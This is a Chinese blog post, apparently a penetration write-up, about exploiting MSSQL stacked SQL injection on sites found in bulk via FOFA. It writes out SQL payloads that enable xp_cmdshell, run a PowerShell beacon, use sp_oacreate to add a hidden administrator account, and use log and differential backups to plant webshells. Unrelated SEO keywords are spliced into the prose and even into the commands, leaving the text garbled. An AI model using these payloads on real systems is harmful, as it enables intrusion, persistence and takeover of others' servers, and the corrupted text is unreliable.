菜鸡第一次实战中碰到mssql的堆叠注入,大佬们轻喷。
本来对堆叠注入没啥了解,这次正好碰到mssql的堆叠注入,正好加强一下对堆叠注入的了解。
堆叠注入
因为在sql查询句子中,shell脚本 分号“;”代表查询句子的完毕。所以在实施sql句子完毕分号shell脚本根本命令的后边,再加一条sql句子,就造成了堆叠注入。
这种情况很像联合查询,他们phpmyadmin的差异就在于联合查询实施的句子是php文件用什么软件翻开有限的,只能用来实施查询句子,而堆叠注入能够实施恣意句子。
菜鸡不会审计php代码,这儿就不贴sql句子的源码了。
下面是浸透流程
先fofa批量找windows怎么激活一下政策
其实有几个是能够弱口令直接进后台的,可是后台没有任何的getshell点
发现有注入点,直接上sqlmapphpstudy一windows键是哪个把梭
直接出了mssql 数据库 并且是堆叠注入
这儿想直接 —os-shell,想起来堆叠注入后边的句子是没有回显的,再换个思路。
ping 下dnslog 看看是否能够直接实施指令
看来是能够实施指令windows是什么意思的
再换个思路,查验用xp_cmdshell
手工翻开xp_cmdshell ,发Shell现函数没有被禁用 ,能够实施指php文件用什么软件翻开令
EXECsp_configure'sho源码编辑器wadvancedoptions',1;RECONFIGURE;EXECsp_config数据库体系概论ure'xp_cmdshell数据库有哪几种',1;RECONFIGURE;
查验直接注入cs的powershell上线
好家伙数据库体系概论,直接上线 ,看来函数没有被禁用
EXECmaster..xp_cm源码分享网dshell’免杀powershell指令’
连xp_cmdshell指令都没有禁用,想来也不会有什么杀软。
首要看了一下进程,emmm 那么多powerwindows体系she源码年代ll进程……没有啥玩的必要了。
能够查验溯源一波,下篇文章发。
总结
这儿这么顺畅是因为没有杀软,指令也都没有阻拦禁用,下面说一下假定xp_cmdshell假定被禁用该php文件用什么软件翻开怎么办。
1. sp_configure函数
开启sp_configure函数的指令
EXECsp_configure'showadvancedoptions',1;RECONFIGUREWITHOVwindows7旗舰版ERRIDE;EXECsp_configure'OleAutomphp是前端仍是后端ationPHPProcedures',1;RECONFIGU源码资源站REWITHOVERRIDE;EXECsp_configure'showadvancedoptions',0;
实施体系指令 注意没有回显
下面的指令添加一个影子源码本钱用户并参与管理员组
declare@shellintexecsWindowsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:windowssystem32cmd.exe/cnetuserhackwindows无法访问指定设备路径或文件$0r@nge/add';decla源码资源站rephpmyadmin@shellin源码编辑器texecsp_oacreate'wscript.shell',@shelloutputexecspwindows是什么意思_oamethod@shell,'runwindows怎么激活',null,'c:windowssystem32cmd.exe/cnetlocalgroupadministrators0r@nge$/add';
还有其他的函数,这儿就不一一列举了。
很多情况上面两个函数并不能实施(存在杀软),mssql数据库能够用一下两个方法
2.log备份写shell
前提条件:
1.数据库存在注入
2.用户具有读写权限,一般至少DBO权限
3.有网站的详细途径
4.站库不shell脚本编程100例别离
并且这种方法备份出的马子体积很小,备份成功的或许性很大。
进程:
1.批改数shelly据库为恢复方法(康复方法):
;alterdatabasewindows怎么激活库名setRECOVERYFULL–-
3.建表和字段
;createtableorange(aimage)--
3.Windows备份数据库
;backuplog数据库名todisk=‘c:wwwr@nge1.bak’withinit–
4.往表中写入一句话
;insertintoorange(a)values(0x...)--//值要进行hex进制转换下
5.运用log备份到web的物理途径
;backuplog数据库名todisk='c:wwwr源码精灵@nge2.php'withinit--
6.删去表
;shellfishDroptableshell脚本orange--
差异备份写shell
概念:备份自上一次彻底备份之后有变化的数据。差异备份进程中,只备份有符号的那些选中的文数据库体系概论第五版课后答案件和文件夹。它不铲除符号,也即备份后不符号为已备份文件。换言之,不铲除存档特色。
用人话说就是:第2次备份的时分,与上一次彻底备份的时分作对比,把不同的内容备份下来,所以只需php文件用什么软件翻开刺进咱们的一句话木马,再备份一下windows键是哪个,一shell脚本句话就会被写到数据库中。
条件:
-
有网站详细途径
-
有可写权限(dbo权限以上)
-
站库不别离
1.备份数据库
;backupdatabase数据库名todisk='C:www...'withinit--
2.创建表格
%';createtableorange(aimage)--
3.写入webshell
%'源码分享网;insertintoorange(a)values(phpstudy0xxxxx)--
4.进行差异备份
%';backuplog数据库名todisk='C:wwworange.asp'WITHDIFFERENTIAL,FORMAT;--
5.删去表
;Droptabl源码是什么意思eorange--
这些都是理论,实战中或许被各种过滤,还需要批改shell是什么意思payload进行详细绕过。